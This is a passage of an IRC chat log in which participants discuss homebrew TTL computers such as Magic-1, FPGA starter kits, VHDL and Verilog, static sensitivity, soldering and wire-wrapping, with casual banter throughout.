YYYY and ignore Y when it isn't applicable 19:18:15 which is teh ugly 19:18:16 you need it larger than word size 19:18:30 ehird, that is variable instruction size basically 19:18:34 no 19:18:37 the instructions are all the same length 19:18:41 just parameters are often ignored 19:18:46 hm 19:18:51 still 19:18:52 uuuuuugly 19:18:55 more ugly than variable length 19:18:56 ehird, ah you mean HUGE instruction? 19:18:57 right 19:19:02 yeah that is uglt 19:19:05 OP XXXX YYYY 19:19:06 ugly* 19:19:08 two words plus a byte 19:19:19 ehird, that is a horribly uneven size to load 19:19:23 not efficient 19:19:36 ehird, btw, are you planning to implement some hardware with this? 19:19:40 AnMaster: maybe 19:19:44 prolly not FPGA if I do 19:19:47 that's so cheating 19:19:52 Logic circuits! 19:19:54 ehird, how is FPGA cheating 19:19:57 ah hm 19:20:02 AnMaster: it's too high-level ;) 19:20:09 ehird, ASIC? 19:20:10 :P 19:20:20 mmmmmmmmmmmnope 19:20:25 ehird, then what 19:20:28 TTL 19:20:34 Time To Live 19:20:36 err 19:20:39 http://en.wikipedia.org/wiki/Transistor-transistor_logic 19:20:51 http://www.homebrewcpu.com/ is made entirely with 'em 19:20:59 "It doesn't use an off-the-shelf microprocessor, but instead has a custom CPU made out of 74 Series TTL chips." 19:21:03 what asiekierka was talking about a bit befor 19:21:03 e 19:21:05 ehird, hm that have long signal paths 19:21:05 7400 19:21:16 it will be even slower than a FPGA... 19:21:49 so? 19:21:54 the magic-1 runs at 4mhz 19:22:00 that's faster than an apple IIe 19:22:04 and faster than a C64 19:22:04 hehe 19:22:08 and faster than a PDP-11 19:22:12 and faster then the IBM PC/XT 19:22:18 BMOW doesn't use only 7400's, it also uses GAL's 19:22:21 ehird, the same speed as a PIC12F629 iirc 19:22:22 but it's still great 19:22:24 and a little slower than the Macintosh 512 19:22:33 so... yeah, it's not exactly slow 19:22:40 for a homebrew type thing 19:22:41 ehird, which is a computer in a package with 8 legs. 19:22:44 it outputs image to VGA, has sound, multitasking, cool stuff 19:22:47 ehird, agreed 19:22:53 and it will be there (with Magic-1) at the Maker Faire or something 19:23:00 asiekierka: BMOW? 19:23:10 http://hackaday.com/2009/02/27/bmow-a-home-made-cpu/ ah. 19:23:50 "I was pleasantly surprised to find that Magic-1 has been quite solid at 4 Mhz." 19:23:54 Hardcore overclocking 19:24:10 BMOW runs at ~2MHz 19:24:19 -!- MizardX has quit ("Proclamation of invalidity!"). 19:24:34 -!- jix has quit (Connection timed out). 19:25:00 "Magic-1 continues to run rock solid at 3.75 Mhz with the new (and last - I hope) wiring modifications. There is only one hardware item left that causes me some minor concern: Magic-1 can't stand the heat. It is located in the master bedroom of my house (which, because I live in a very mild coastal climate, has no air conditioning). Sometimes, though, the temperature in the room gets up to 80 F. When this happens, Magic-1 starts failing. A typical 19:25:03 heat-related failure is when running the Original Adventure program and it aborts at start-up with a vocabulary initialization failure. Once the room cools down in the evening, though, correct behavior resumes. " 19:25:07 Then, the invention of the noisy computer fan. 19:25:14 FFFFFFFUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU— 19:26:53 Well, just for jollies I tried running the old Whetstone benchmark on Magic-1 to see how my floating point performance is. I knew it would be really, really poor - and it is. I had to do a bit of modification to the benchmark source because my score was so low that it didn't register in the normal "Millions of Whetstones per Second" metric. As I predicted, it would be better for me to report Magic-1 in the "Dozens of Floating Point Operations per seco 19:26:55 nd". 19:26:57 Anyway, I estimate that a full run of the benchmark will take somewhat more than 20 hours. My shortened run ended up at around 0.000134 MWIPS, or 11.2 DWIPS. 19:27:00 I'll probably go ahead and do the full 20-hour run this weekend and officially submit my results :-). 19:27:07 11 dozen floating point operations a SECOND! WOW! 19:27:25 ehird, http://www.homebrewcpu.com/Pictures/P5150118.JPG is cool 19:27:34 AnMaster: yes, it's like WOPR 19:27:41 in fact, a computer where that is meaningful is cool 19:27:49 but at 4 MHz 19:27:50 hm 19:27:57 I don't think you could read it fast enough 19:28:03 (http://www.pldos.pl/bogus/hardware/komputery/imsai/pics/wargames_wopr.jpg) 19:28:07 (from the movie Wargames) 19:28:09 (in case you didn't know) 19:28:23 ehird, never heard of that movie 19:28:32 it's great. 19:29:21 ehird, why does Magic-1 have a switch labled "DMA Req" 19:29:31 it seems so out of place 19:29:36 with that style of technology 19:29:40 why? 19:30:04 ehird, anything with lamps on the front to show registers is by definition way too old to have DMA in my mind. 19:30:33 AnMaster: it runs minix! 19:30:43 ehird, yeah. Collision 19:31:04 AnMaster: modern computers have lights that flicker when the hard disk is used 19:31:07 equally as silly 19:31:20 ehird, well yeah. 19:31:27 ehird, macs doesn't iirc? 19:31:32 *don't 19:31:35 And no, they don't. 19:31:39 Not even the Mac Pro. 19:32:03 -!- inurinternet has joined. 19:32:21 wb inurinternet 19:33:04 AnMaster: any more ammonia news? 19:33:37 AnMaster died of ammonia poisoning 19:33:43 ah 19:33:57 nah 19:34:19 AnMaster: you seem dead to me 19:34:23 ehird, and iirc they contained it 19:34:27 how boring 19:35:13 * pikhq suggests a system architecture 19:35:29 pikhq: ? 19:35:38 There are two instructions: NOP and HCF. 19:35:49 Ah. 19:35:53 http://www.homebrewcpu.com/Magic1.pdf <-- seems like it has CF slot on the back 19:36:18 And it has a 1-bit addressing scheme. 19:36:18 or side or whatever 19:36:27 -!- MizardX has joined. 19:36:32 pikhq: No, I think four would be best. hcf, sfi (set fire intensity), sfg (set fire geometry), str (stutter). 19:36:35 Sorry, it has exactly one bit of memory. 19:36:48 Which can be either 0 or 1. 19:36:52 0 is a noop. 19:36:53 1 is HCF. 19:36:54 You fiddle about with them all the time to perform the computation, you see. 19:36:58 Also, it has an infinite tape. 19:37:04 To modify it, make the fire burn it the right way. 19:37:12 Therefore, it is turing complete. 19:37:18 Jumps? Just burn the bits on the IP. 19:37:39 It can be implemented by a light switch wired up to a power source and a spark plug in a barrel of gunpowder. 19:37:50 pikhq, :D 19:37:51 pikhq: Mine's better because it is TC. 19:37:57 what's HCF 19:38:04 asiekierka: halt-and-catch-fire 19:38:05 asiekierka: Halt and Catch Fire. 19:38:10 oh 19:38:31 ehird: Your idea sounds like an interesting Turing tarpit. 19:38:35 pikhq: yep 19:39:35 Turing tarpits are the cool thing around here doncha know 19:39:40 ais523: how much do you think it'd cost to get an fpga/vhdl environment? yeah it's so uncool but :P 19:39:41 They're like the cha cha cha 19:39:47 pikhq: Turing firepit, rather 19:39:53 ais523: just a simple slow thing 19:40:15 ehird: not a ridiculous amount if you just want low-end stuff and demonstration boards 19:40:28 ais523: will the software run on linux? 19:40:45 -!- Sgeo has joined. 19:41:11 ehird: I don't know; I've only ever seen Windows software for that 19:41:16 WINE? 19:41:18 but IME, such software normally works well on WINE 19:41:19 well 19:41:21 what do you use? 19:41:39 well, at home I use VHDL, which is Linux, but it's just a simulator 19:41:40 Windows software for what? 19:41:43 -!- kar8nga has quit (Read error: 60 (Operation timed out)). 19:41:50 Sgeo: vhdl 19:41:55 *GHDL 19:42:00 at University, we have a choice of programs 19:42:06 any of which may or may not work in any given situation 19:42:15 I just want non-shitty tools for cheap and an fpga to run stuff on :-) 19:42:17 but the one you'll likely have to use is the low-end one that comes free with the demo board 19:42:26 as the others will tend to be price on request 19:42:27 Hardware stuff goes over my head 19:42:32 ais523: crappy, I assume? 19:42:39 not bad, but generally limited 19:42:42 Mostly because I'm cheap 19:42:47 sort-of, shareware-style 19:42:50 and I doubt there's a buzzing pirate scene around FPGA stuff :-P 19:42:53 -!- kar8nga has joined. 19:43:19 ehird: there's http://opencores.org which is not piracy, but open-source hardware is a great concept anyway 19:43:29 is it any good? 19:44:02 I haven't used it much 19:44:10 but from what I've heard, the stuff there's good and high quality 19:44:20 but you won't find anything amazingly big and complex 19:44:25 small processors are about the best you can hope for 19:44:38 Can an fpga be made into a video card? 19:44:40 ais523: wait, that's not fpga software? 19:44:41 you implied it was 19:44:43 Sgeo: yes 19:44:47 see caustic graphics 19:44:49 ehird: it's VHDL and Verilog code snippets 19:44:56 Sgeo: an FPGA can be made into anything 19:44:56 they are going to sell an fpga that does realtime raytracing 19:44:59 ~5fps 19:45:05 w/ accompanying software 19:45:08 very cool 19:45:20 the only difference between an FPGA and a dedicated chip are that the FPGA's slightly slower, and the dedicated chip is cheaper in bulk amounts 19:45:20 ah, do sell, it seems 19:45:44 ........so once I have fpgas, it's like being able to download hardware? 19:45:50 Sgeo: Yes. 19:45:51 Yeah. 19:45:52 yes 19:45:55 although, only digital hardware 19:45:59 **Sgeo's mind blows** 19:46:04 ehird, yes, it did 19:46:06 and you'll need extra components in order to do anything but digital inputs and outputs 19:46:25 I suggest doing CMOS analog circuitry. :p[ 19:46:33 i suggest nanotechnology 19:46:39 after all, Intel say they'll do it by 2015 19:46:42 pikhq: but then the whole thing would be type B, and you'd get massive distortion 19:46:45 for processors 19:46:53 you'd probably want to tweak CMOS somewhat to make a type AB circuit 19:46:58 pure-B is only good for digital stuff 19:47:04 ehird: Nano-robots? Forward the singularity! 19:47:08 "The 11 nanometer (11 nm) node is the technology node following 16 nm node. The exact naming of this technology node comes from the International Technology Roadmap for Semiconductors (ITRS). According to the 2007 edition of this roadmap, by the year 2022, the half-pitch (i.e., half the distance between identical features in an array) for a DRAM should be 11 nm, although Intel's "Architecture and Silicon Cadence Model" places it closer to the year 2015. 19:47:10 Intel's Pat Gelsinger claims that Intel sees a 'clear way' towards the 11 nm node.[1][2] " 19:47:11 ais523: It'd be crappy, yes. 19:47:12 11nm = nanotechnology 19:47:15 ais523: But it can be done. 19:47:17 pikhq: totally 19:47:22 I've been fantasizing about open-source hardware, but only when imagining 3d printing that can do electronics 19:47:34 Sgeo: that exists 19:47:37 it's called a fabricator 19:47:43 do you have millions of dollars? 19:47:44 pikhq: you'd have to be fighting the intrinsic digitalness of type-B circuits every step of the way 19:47:49 ehird: $200. 19:47:58 pikhq: $200 silicon fabricator? 19:48:00 WAT. 19:48:05 ehird: Reprap can print circuitry now. 19:48:08 Sgeo: an FPGA's more like a single chip which is generic enough to be configured however you want 19:48:09 Not silicon. 19:48:17 pikhq: Reprap isn't really the same thing... 19:48:20 I'm thinking "circuit board" type printing. 19:48:21 ais523, right, I understand 19:48:30 still 19:48:34 *fantasizes* 19:48:45 Sgeo: you can buy fpgas pretty cheap, I think 19:48:46 ehird: That + FPGA = ... Well, print your own motherboard, anyone? 19:48:54 ais523: how much is a demo kit? $200 or so right? 19:48:59 or was it £200 19:49:04 I'm not sure offhand 19:49:19 but there are only two main manufacturers, more or less like with x86 chips and with graphics cards 19:49:26 so it would be simple enough to just check both 19:49:31 who are they? 19:49:36 Xilinx and Altira 19:49:47 also, it seems that hardware companies gravitate to a two-manufacturer system 19:49:48 I wonder why? 19:50:16 -!- jix has joined. 19:50:28 Well, I want to create a small-size computational machine, as in, a machine geared for computations 19:50:30 :P 19:50:32 but nah 19:50:33 gotta go 19:50:33 Because it's a hard market to get into, but a lucrative market to stay in? 19:50:39 (typical technology company homepage) 19:50:41 You need to upgrade your Adobe Flash Player. You also need to have javascript enabled. 19:50:44 -!- asiekierka has quit. 19:50:52 ais523: the latter's typical too 19:50:53 pikhq: yes, but, it's never 3 or 4 19:50:54 hmm... round one goes to Xilinx, I think 19:50:57 it's always 2 19:51:01 ehird: I mean in how it looks 19:51:11 ais523: also, it's Altera 19:51:24 wait, no 19:51:28 that's a different FPGA company 19:51:29 now that's confusing 19:51:54 wow, that is confusing 19:51:59 and I'm not entirely sure I got the right one now 19:52:07 ah, yes 19:52:07 http://www.hitechglobal.com/boards/v5ddr3_pcie.htm 19:52:09 is that what I want? 19:52:12 Altera are the FPGA people 19:52:14 it seems terribly bloated! 19:52:23 and no, no way you'll be able to afford a Virtex 19:52:26 those are the high-end chips 19:52:27 ais523: Altira are about energy things 19:52:29 and ah 19:52:33 ais523: $10,000? 19:52:36 sort of thing? 19:52:39 about that, yes 19:52:39 also, it says PowerPC 19:52:43 that's not very custom! 19:52:52 they have integrated microprocessors nowadays 19:52:53 ais523: http://www.xilinx.com/products/devboards/index.htm 19:52:53 the high-end ones 19:52:56 starter kit? 19:52:58 spartan or coolrunner 19:53:07 spartan is $189 19:53:11 coolrunner is $39 19:53:12 spartan's the one that the university buys for students to mess with 19:53:15 coolrunner is CPLD 19:53:22 spartan is FPGA 19:53:24 The Xilinx Spartan®-3A Starter Kit delivers instant access to Spartan-3A FPGA device features such as SUSPEND power-saving mode, high-speed I/O options, DDR2 SDRAM memory interface, commodity flash configuration support, and FPGA/IP protection using Device DNA Security. 19:53:26 and I don't even know what CPLD stands for 19:53:28 god that's so bloated 19:53:30 ddr2? 19:53:33 fuck that! 19:53:35 ehird: they're all bloated 19:53:44 ais523: i want a lean mean custom FPGAing machine :-P 19:54:16 ais523: http://www.altera.com/products/devkits/kit-dev_platforms.jsp 19:54:19 altra prices 19:54:20 seems rather unlikely, given the way the industry operates 19:54:21 MAX II is $150 19:54:26 personally, I think the FPGA industry is insane 19:54:26 argh 19:54:27 it's CPLD 19:54:30 the whole industry, that is 19:54:33 ais523: howso? 19:54:45 The low-cost Cyclone® II FPGA Starter Development Kit is ideal for evaluating Altera's high-performance, low-power, 90-nm technology. By using this RoHS-compliant starter development kit, you will see 60 percent (on average) higher performance and 50 percent (on average) lower power than competing 90-nm, low-cost FPGAs. Several reference designs and demonstrations included in the kit make for a quick, "out-of-the-box" evaluation experience. 19:54:46 they get away with all sorts of ridiculous stuff because they don't have real competition 19:54:46 * pikhq observes once again that Magic-1 is pretty awesome 19:54:47 $150 19:54:59 8-Mbyte SDRAM 19:54:59 512-Kbit SRAM 19:55:00 4-Mbyte flash 19:55:04 ok, that's more minimal like I expected 19:55:11 how many LUTs? 19:55:13 http://www.altera.com/products/devkits/altera/images/fig1-cyclone2-staterkit.jpg 19:55:14 that looks nice 19:55:17 that's the measurement of how complex an FPGA is 19:55:24 ais523: doesn't say, what does it stand for? 19:55:29 lookup tables 19:55:33 although, only digital hardware 19:55:34 hm 19:55:37 it's how they're implemented 19:55:41 ais523: http://www.altera.com/products/devkits/altera/kit-cyc2-2C20N.html; it doesn't seem to tell you 19:55:52 ais523, why not analogue FPGAs 19:55:53 maybe the reference manual? 19:55:54 ehird: look at the chip, not the development kit 19:55:58 ais523: how? 19:56:04 AnMaster: ever tried to write a truth-table for an analog circuit 19:56:17 AnMaster: Because FPGAs are a very, very digital-only design. 19:56:34 ais523: http://www.altera.com/literature/lit-cyc2.jsp lots of cyclone ii shit 19:56:36 ais523, in fact I have a vague memory of having read about such a FGPA... Something about "evolving" hardware... 19:56:38 We're talking logic gates here. 19:56:45 AnMaster: that wasn't analogu 19:56:45 e 19:56:49 that just used analogue IO 19:56:54 it evolved FPGAs 19:57:07 -!- BeholdMyGlory has quit (Remote closed the connection). 19:57:08 it was actually an attempt to use a digital combinatorial circuit in order to evaluate an analog sequential function 19:57:09 ehird, it ended up using analogue bits inside iirc. 19:57:11 which in theory is impossible 19:57:14 but it ended up working anyway 19:57:16 ais523: 20K LEs 19:57:21 ais523, ah 19:57:23 does that help? 19:57:32 it's the EP2C20 19:57:39 ais523: LEs seems to be it 19:57:43 18,752 LEs 19:57:45 ah, yes 19:57:51 Altera use a different name for them 19:58:00 ais523: the max of the cyclone IIS is 68,416 19:58:03 so how good's 20K? 19:58:21 1 LUT is about equal to one byte of machine code 19:58:22 (the min of the cyclone IIs is 4K :-P) 19:58:23 in circuit complexity 19:58:29 ais523, iirc some components were not reachable, but when taken away the FPGA stopped working? 19:58:32 ais523: ah, so it controls how advanced your machine can be? 19:58:36 or whatever it was 19:58:36 AnMaster: yes 19:58:37 ehird: yes 19:58:45 ais523, speculation about induction iirc 19:58:45 ais523: what would, say, MIPS be? 19:58:46 roughly 19:58:53 a MIPS cpu 19:58:57 nice simple RISC 19:58:58 quite a lot more than that, I imagine 19:59:00 ehird, 0 SEK. 19:59:06 AnMaster: wut 19:59:14 ais523: ok, what about a really simple embedded ARM 19:59:17 200K? 19:59:20 I've managed to use huge numbers of LUTs before just trying to do multiplication 19:59:28 ehird, My ISP sent one for free. My ADSL modem runs on MIPS it seems 19:59:32 a 32-bit multiplier costs a lot, if you don't have a separate one on the chip 19:59:36 ehird, so do quite a few other ones that can run dd-wrt 19:59:37 and sich 19:59:40 -!- BeholdMyGlory has joined. 19:59:41 such* 19:59:46 AnMaster: I didn't ask price 19:59:47 I asked LUTs 19:59:55 RAM uses a lot of LUTs too (one per /bit/ of RAM, plus a few more), but nearly all FPGAs have on-board RAM separate from the LUTs 19:59:56 ehird, oh misread 19:59:59 ais523: i'd hate to be making a totally-awesome minimalist CPU and then run into a LE limit 19:59:59 ehird, btw what is a LUT 20:00:04 AnMaster: look up table 20:00:07 ah 20:00:09 this FPGA has 20K of them 20:00:23 ais523: yeah—239,616 bits of RAM 20:00:40 I love the way FPGA RAM is measured in bits 20:00:52 because the word length depends on how you connect them up 20:00:57 ais523, at least there is no 1000 vs 1024 thing then 20:00:58 :D 20:01:00 ais523: it's 39 kilobytes! 20:01:01 er 20:01:02 29 20:01:19 ehird, how large is your byte 20:01:23 ehird: is that the dedicated RAM, or the RAM if you use all the LUTs as RAM too? 20:01:24 6 bits right? 20:01:27 AnMaster: lawl 20:01:36 some manufacturers give the second value to make the chips look better than they are 20:01:40 ais523: don't even know 20:01:42 but 20:01:45 ehird, that is quite possible! 20:01:55 wait, wait. 20:02:03 19:54 ehird: 8-Mbyte SDRAM 20:02:03 19:54 ehird: 512-Kbit SRAM 20:02:04 19:54 ehird: 4-Mbyte flash 20:02:06 ais523: 20:02:08 so it has external ram at well, at least 20:02:10 my board 20:02:20 how much do you think I could fit into 18,752 LEs? 20:03:22 I'm trying to find some data on that atm 20:03:27 thanks 20:03:57 wow, it supports 640x480 VGA 20:03:59 at 60hz! 20:04:06 it has a PS/2 connector 20:04:07 one of them 20:04:09 keyboard or mouse 20:04:09 they come with lots of useless features, normally 20:04:10 take a pick 20:04:25 ais523: like a 24-bit audio codec 20:04:34 also, 18 LEDs 20:04:36 8 green, 10 red 20:04:43 4 seven-segment displays—that's FOUR calculators! 20:04:50 ais523: a "USB-Blaster" port, whatever that is 20:04:52 an SD card connector! 20:05:03 microphone-in, line-in, line-out 20:05:05 this is truly amazing 20:05:25 those are one-digit seven-segment displays 20:05:30 ais523: ah 20:05:34 that's less than one calculator! 20:05:56 Audio CODEC The development board provides a Wolfson WM8731high-quality, 24-bit, 20:05:56 sigma-delta audio encoder/decoder (CODEC) for applications such as 20:05:57 MP3 players and recorders, PDAs, smart phones, and voice recorders. 20:06:37 ais523: so is altera verilog or vhdl? 20:06:47 ehird: almost certainly both 20:06:56 but the general rule is that the military uses vhdl, everyone else uses verilog 20:07:04 I thought you used vhdl 20:07:10 they're pretty much the same language nowadays anyway, just with different syntax 20:07:12 and yes, I was tought VHDL 20:07:14 for some reason 20:07:19 *taught 20:07:24 Verilog's syntax looks nicer 20:07:25 I suspect most talented FPGA people end up in the military... 20:07:37 ehird: Verilog is C-like, VHDL is ADA-like 20:07:41 ais523: figured out what 20K could fit? 20:07:53 not yet, I'm still looking 20:07:59 "However, using this 9-valued logic (U,X,0,1,Z,W,H,L,-) " 20:08:02 9 valued logic. 20:08:03 yes 20:08:04 Fuck VHDL 20:08:08 booleans have 9 possible values in VHDL 20:08:13 Yes :p 20:09:02 ais523: Verilog isn't that c like 20:09:05 ais523: ... 9 possible values?!? 20:09:07 if (rst) // This causes reset of the cntr 20:09:07 count <= 5'b0; 20:09:08 else 20:09:10 if (cet && cep) // Enables both true 20:09:12 begin 20:09:14 if (count == length-1) 20:09:16 count <= 5'b0; 20:09:17 HOW DOES THAT MAKE SENSE? 20:09:18 else 20:09:20 count <= count + 5'b1; // 5'b1 is 5 bits 20:09:22 end // wide and equal 20:09:24 pikhq: http://en.wikipedia.org/wiki/IEEE_1164 20:09:26 impedance, drive and shit 20:09:29 Because it's hardware. 20:09:40 Fuck hardware. 20:09:55 pikhq: true, false, true via a resistor, false via a resistor, contradiction, uninitialised, between true and false, unconnected, unknown 20:09:56 ** pikhq has disconnected 20:09:56 I'll train a bunch of rodents to do my computations. 20:10:15 http://www88.wolframalpha.com/input/?i=bacon+as+mass+of+milky+way&a=*C.bacon-_*ExpandedFood.dflt-&a=*C.milky+way-_*Astronomical.dflt-&a=*EAC.ExpandedFood.PreparedCuredPorkBacon-_**PreparedCuredPorkBacon.*Food%3ACookingMethod_Food%3APanFried--- 20:10:18 in RL, hardware can end up with a lot more values from 0 to 1 20:10:19 Bacon as mass of milky way 20:10:23 1 slace 20:10:25 *slice 20:10:27 Pan-fried 20:10:28 *than 0 and 1 20:10:42 "Assuming "milky way" is an astronomical object | Use as a food instead " 20:10:44 * ehird eats the milky way 20:10:52 ehird: I use IP via carrier pigeon. 20:10:59 (yes, I know it's a chocolate bar) 20:11:04 And I feed my pigeons coffee beans. 20:11:11 pikhq: true, false, true via a resistor, false via a resistor, contradiction, uninitialised, between true and false, unconnected, unknown <-- why is "via resistor" significant 20:11:17 pikhq: that's hardware, just wetware 20:11:32 ehird: Well, yes. Wetware, however, makes much more sense. 20:11:38 pikhq: Are you on crack? :-) 20:11:41 AnMaster: because if you connect true via resistor to false, you get false 20:11:48 but if you connect true to false, you get a contradiction 20:11:50 No, but my computer rats are. 20:11:57 ais523, I see... 20:12:01 contradictions are /bad/, they can damage the chip in theory 20:12:04 * pikhq picks up a bit 20:12:31 ais523, how do you model analogue cicuits 20:12:43 * pikhq makes sure the bit is in operating condition, gives it more crack, sets it back into RAM 20:12:53 ehird: OK, I found some details: you can do an M68000 microprocessor in about 6000 LUTs 20:12:58 depending on what other features of the chip you use 20:13:00 AnMaster: With a breadboard. 20:13:04 hm 20:13:06 ais523: that's pretty good 20:13:14 would be nicer if you could do it more like VHDL 20:13:14 that's very good, in fact 20:13:15 or such 20:13:21 AnMaster: using a language other than VHDL 20:13:27 ais523, such as? 20:13:29 ais523: i could have over 20 68000s :P 20:13:38 I'm not sure if there is one yet 20:13:46 ais523, ah... 20:13:46 ehird: Cluster! 20:13:52 ehird: also, buy yourself an anti-static wrist strap, if you're planning to mess with FPGAs 20:14:00 they're very static-sensitive, much more so than computers 20:14:00 ais523: Er. 20:14:04 Okay. :P 20:14:24 ais523: do you actually touch it much? 20:14:41 I wouldn't expect so 20:15:12 ehird: depends on what you're doing with it 20:15:24 but mostly you wouldn't, I expect 20:15:43 I'm paranoid about static, though, I've seen all sorts of good circuits ruined due to it 20:16:33 what about making static-resistant/proof chipset 20:16:35 chipsets* 20:16:38 and so on 20:16:42 would be interestig 20:16:45 interesting* 20:16:59 possible? 20:17:18 Possible, if you've got a chip fab. 20:17:20 you mean a computer? 20:17:31 pikhq, huh? 20:17:36 AnMaster: could be, but the technique of using a static-sensitive chip and putting it in an antistatic box tens to be cheaper 20:17:39 *tends 20:17:52 ehird, no I mean FPGAs, ICs and so on 20:18:00 AnMaster: not what i meant 20:18:13 ehird, but what I meant! 20:18:17 kay 20:18:25 AnMaster: it depends on the internal logic method 20:18:33 TTL-based chips are a lot less static-sensitive than CMOS, for instance 20:18:34 hm 20:18:41 but slower right? 20:18:47 not directly 20:18:53 oh? 20:18:53 but they use more power 20:18:59 more power = more heat = harder to cool 20:19:04 ais523, what method is used for current CPUs btw? 20:19:05 so you have to run TTL-based circuits slower or they overheat 20:19:12 and CMOS is pretty much standard for anything complicated 20:19:17 kay 20:19:22 simpler things are often lowpower-schottky-TTL 20:19:36 ais523, "shottky"? 20:19:37 if for some reason you don't want CMOS (say you're the military and want something that won't break in weird conditions) 20:19:54 AnMaster: it's some slightly different way to make a transistor, I think 20:20:00 ah 20:20:05 ais523: Or if you're putting the thing in orbit. 20:20:09 pikhq: yes 20:20:12 AnMaster: CMOS is used atm, but we're nearing on nanotechnology 20:20:12 thought it was a typo for "shoddy" 20:20:20 I imagine they don't use CMOS much on spacecraft 20:20:22 although I don't know 20:20:42 22nm is the last pure CMOS, iirc 20:20:47 and 11nm is real nanoelectronics; I may be wrong 20:20:53 The space shuttle still has solid-state circuitry. 20:21:10 ais523, did you mean "Schottky"? 20:21:12 Might even have some tubes. 20:21:14 err yeah 20:21:16 I typoed 20:21:18 not you 20:21:20 meh 20:21:20 AnMaster: I said "Schottky", then you misqupted me 20:21:22 *misquoted 20:21:24 "Fifteen nanometres is equivalent to 0.005906 thou, or 0.000015 millimetres, and is the width of a very very very very very thin human hair which you can't see unless your eyesight is very very very very very good." —The Inquirer 20:21:26 ais523, ah 20:21:28 indeed 20:21:32 ehird: haha 20:21:50 there are a lot of nanometres in a deci-inch, surely 20:21:58 ehird, that is a joke right? 20:22:07 ais523: it's very very very very very thin hair. 20:22:24 AnMaster: nope, 100% serious 20:22:28 (deci-inches are /not/ the industry standard for pin spaces, that's the 2.54mm standard, but the name is inevitable given that it is exactly a tenth of an inch) 20:22:34 Wow. The space shuttle's RAM... 20:22:35 the very-hair-very-eyesight measurement system is very very very common 20:22:38 ehird, you don't get human hair that thin 20:22:41 pikhq, what about it 20:22:43 *Magnetic core*. 20:22:43 AnMaster: prove it 20:22:48 :D 20:22:51 pikhq: that's brilliant 20:22:52 pikhq, WOW 20:22:54 and actually, doesn't surprise me 20:23:03 given that they must actually get loads of cosmic rays up there 20:23:03 that's ho 20:23:03 t 20:23:05 ehird, too lazy 20:23:18 I imagine the transistors in the processors are massively big by today's standards, too 20:23:18 http://en.wikipedia.org/wiki/IBM_AP-101 They've got 5 of these. 20:23:23 AnMaster: "Analyze every human hair on the planet" "too lazy" Understatement of the century 20:23:23 probably measured in microns 20:23:48 ais523: eh, 1 um was circa 1985 20:24:01 and we had 0.X ums until 2002-2003 20:24:05 w/ 90nm 20:24:06 It's a System 360. 20:24:08 (before that 0.13 um) 20:24:10 (basically) 20:24:18 ehird: big in order to avoid radiation disruption, rather than because they can't make them smaller 20:24:20 So, fucking huge. 20:24:23 ais523: I know 20:24:27 I'm just saying it's not THAT old 20:24:33 yes 20:25:07 also, µm not um 20:25:58 ais523: lazy :P 20:26:15 D'aw... 20:26:20 They upgraded the thing in 1990. 20:26:27 They use an AP-101s. 20:26:31 Has semiconductor memory. 20:26:50 ehird: it's AltGr-m 20:26:55 And a whole 1.2 MIPS. 20:28:24 ehird, you didn't say that. You said "prove it". Which could be referring to some report 20:28:29 ask Alpha about it! 20:28:35 AnMaster: such a report would have to review all human hair too 20:30:23 ehird, nah. Just prove it isn't possible. 20:30:38 how? 20:30:50 "On Monday, I start at Google. I don't know the exact details of what I'll be doing there, but I can only assume that the bright folks there have realized that the future of massively powerful data centers belongs to wire-wrapped TTL. I'll be sure to bring my wire-wrap gun." —homebrewcpu.com 20:31:44 He works on Android. 20:31:52 Still, :D. 20:32:03 yeah 20:32:05 on the java vm 20:32:45 [[Shortly after I declared Magic-1 "hardware complete", I casually mentioned to my wife that I was starting to think about Magic-2. Her response was swift, and final: 20:32:45 20:32:47 "No, there will be no Magic-2!" 20:32:49 o 20:32:49 20:32:51 I can't blame her. She was an extraordinary good sport during Magic-1's design and construction - especially during the wire-wrapping phase. For most of a year, she put up with electronic junk littering the kitchen table, wire-wrap insulation fragments on the floor and a husband often lost in concentration while the kids were hollering for attention. 20:32:56 20:32:58 She's the love of my life, the woman I plan on growing old with, mother of my children, my partner and best friend. I have to respect her wishes on this. 20:33:01 20:33:03 wire-wrapping? 20:33:03 So, there will be no Magic-2. 20:33:05 20:33:07 Instead, we'll call the follow-on project "Magic-16".]] 20:33:12 ais523: TTL thing 20:33:18 I know what wire-wrapping is 20:33:20 oh 20:33:24 just I'm slightly surprised it was being used 20:33:28 ais523: Magic-1 is a wire-wrapped TTL machine. 20:33:30 ais523: it IS a homebrew cpu... 20:33:33 :) 20:33:35 and avoids soldering 20:33:37 yes, but I would have soldered 20:33:45 ais523: have you seen it? 20:33:46 because it's easier and more reliable 20:33:47 it's quite big 20:33:52 I wouldn't say it's easier 20:33:54 soldering is a pain 20:33:56 and no, I haven't seen it 20:33:59 He wanted it to be hard-core. 20:34:12 and especially with the typical scale of TTL chips, soldering is easy 20:34:20 they're some of the easiest things to solder 20:34:26 ais523: http://www.homebrewcpu.com/Pictures/bu_3.JPG 20:34:35 annoying soldering is if you have something in a SOIC package 20:34:42 I once spent several hours soldering one of those 20:34:50 http://www.homebrewcpu.com/Pictures/P5140113.JPG ← it has a window, just like HARDKOR PCS! 20:34:53 with a magnifying glass and a special soldering iron 20:34:54 it's even blue 20:35:03 ais523: wire-wrapping is more beautiful, though 20:35:09 http://upload.wikimedia.org/wikipedia/commons/d/d1/Computerplatine_Wire-wrap_backplane_detail_Z80_Doppel-Europa-Format_1977.jpg 20:35:29 ugh no, that's just illegible 20:35:39 ais523: but pretty 20:35:46 and could be soldered in about half a second per pin for someone who knew what they were doing 20:35:54 which is faster than the wire-wrap would be 20:35:58 ais523: and who didn't care about burning themselves :) 20:36:16 ehird: with the apparent scale of that, burning oneself would be really rather unlikely 20:36:27 your hands would be nowhere near the soldering itself 20:36:41 meh. 20:36:42 Part of the idea was to be retro. 20:36:44 soldering burns are more likely when putting the soldering iron away afterwards 20:36:47 (I know this from experience) 20:36:49 And wire-wrapping is very retro. 20:36:50 hm 20:36:57 ais523: You fail. :p 20:37:00 why wire wrapping 20:37:06 ... Granted, I've done worse. 20:37:10 pikhq: no, it's nearer your hand then than at any time during the actual soldering 20:37:17 I've burnt myself about three times like that 20:37:19 (I once grabbed a soldering iron by the tip by accident) 20:37:30 ouch 20:37:43 Yeah, I got a pretty solid burn from that. 20:37:50 um 20:37:51 running your hand under the cold tap for a few minutes normally means you have no lasting effects 20:37:57 I never burned on my soldering iron 20:38:02 :) 20:38:03 pikhq: maybe you should get one of the solder gun things 20:38:04 anyway 20:38:09 how does wirewrapping work 20:38:11 which heats up in about 3 seconds, and cools down just as quickly 20:38:13 why does it stay attached 20:38:19 